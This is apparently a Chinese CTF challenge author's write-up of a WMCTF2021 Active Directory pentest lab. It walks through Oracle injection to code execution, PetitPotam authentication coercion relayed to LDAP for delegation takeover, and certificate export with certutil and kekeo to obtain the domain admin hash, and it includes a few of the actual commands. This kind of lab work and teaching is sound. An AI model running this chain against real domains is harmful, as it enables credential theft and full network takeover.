WMCTF2021 Pentest
为WMCTF2021出了个域渗透的题目,一直想着写wp ,可惜拖来拖去还是没写。正好最近闲下来有空。也忘了自己的步骤是什么样的了,当复盘学习了。
环境已经公开,下载地址:
链接: https://pan.baidu.com/s/177l2rC6aNZWx-ccE_jEgpg 提取码: o835
考点
- Oracle 11g 11.2.0.1.0 注入 + 代码执行
- Rpc To Rce
- AD证书滥用导致的域内提权到域管
出题思路
七月的时候接到出题任务,想着出一个域题目。最开始的出题思路
后来觉得这种考点对于短时间CTF的比赛来说有些复杂。且多人攻击起来有些困难。遂放弃。
和loong716
师傅交流了一会儿,看了specterops
发布的关于Active Directory 证书服务相关漏洞的白皮书
具体可移步
https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf
对于7月左右的时间段,关于Active Directory
证书的攻击在国内还很少见,复现后决定以该思路为考点搭建环境。之后又在 GITHUB
发现了开启WEBCLIENT
服务导致的域内委派RCE
- Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
- Relaying that machine authentication to LDAPS for configuring RBCD
- RBCD takeover
中继LDAP服务器,使用 RPC 通过 HTTP 触发对中继的机器身份验证,从而写入机器账户使用psexec
提权到域管
解题
Internet
172.16.196.151 / 10.233.71.100 (wmteam\internet1)
这里开局只有一个登录框,通过Wappalyzer
可以识别到指纹是JAVA
,测试后发现后端数据库是ORACLE
(这里SQLMAP也能跑,但是当时给了hint为ORACLE,且已知是域,应该能想到是通过注入RCE,巨大的SQLMAP流量把tomcat打崩了好几次QAQ)
通过资料查找,很容易找到关于ORACLE命令执行的相关例子。但网上大多是ORACLE10g 9g, 对于ORACLE 11g命令执行的例子也大多是复制粘贴的Linux环境,在出题的时候也踩了很多坑。做题的很多师傅们在交流过程中发现基本都是用LINUX的ORACLE Docker来测试。出现了本地通了远程不通的问题。
由于题目放的比较晚,所以将注入的黑名单直接放了,防止过多的fuzz与脑洞。
放题晚上12点左右,yyz
与Eki
师傅已经构造出了基本正确的Payload
,且yyz
师傅已经成功ping通dnslog。可惜等到凌晨四点还是没有出。也有可能是没有进行本地测试的缘故 导致了出现小问题。
这里由于涉及到的点比较多。会另开一篇文章讲注入的过程。
成功注入后,会发现有杀毒。编写免杀即可上线。(这里也可以采取盲注的方式注入出桌面的flag文件)
Arrebol
10.233.71.60 (wmteam\arrebol)
通过对域内信息收集,很容易发现浏览器访问了域内的ADCS证书服务WEB界面。且flag中含有下一题目的提示,搜集域内信息。
很容易想到攻击方式
首先通过入口的web建立内网代理就不说了
由于要 ntlmrelayx 需要复用端口,通过PortBender
等工具做端口复用。建立好设置
通过Invoke-DNSUpdate 将我们攻击机设置hostname
使用PetitPotam.exe
攻击
PS C:\Users\internet.WMTEAM\Desktop> .\PetitPotam.exe ha1@80/1.txt 10.233.71.60
Usage: PetitPotam.exe <captureServerIP> <targetServerIP>
Attack success!!!
攻击机启动ntlmrelayx
这时候我们就有一个高权限的机器账户了 使用机器账户申请TGT/ST票据
直接psexec链接即可
DC
(10.233.71.10)
通过远程登录到Arrebol机器的桌面
在证书中发现了Administrator用户的证书文件
而该文件的预期目的正好是加密文件系统、客户端身份验证、安全电子邮件
,而
1、客户端认证
2、PKINIT 客户端身份验证
3、智能卡登录
4、任何目的
5、子CA
可以使用证书进行kerberos认证。正好符合
我们使用>certutil -user -store My
来查看个人证书的sha1 方便导出
通过
certutil -user -exportPFX f809b4975d1698baeded0c98cb40cccbbef39955 c:\Users\arrebol\Desktop\test1.pfx
命令带私钥导出证书
把证书下载到本地。将本地windows代理到内网 本地DNS设置成域控ip
使用kekeo获取用户的NTLM
成功获取到域控的ntlm
使用psexec横向即可
总结
感觉中间部分的webclient服务并不太好想到。而且题目说实话放的确实晚了一些,影响了师傅们的做题体验,这里给师傅们赔个不是。还希望大家能从中学到一些新知识。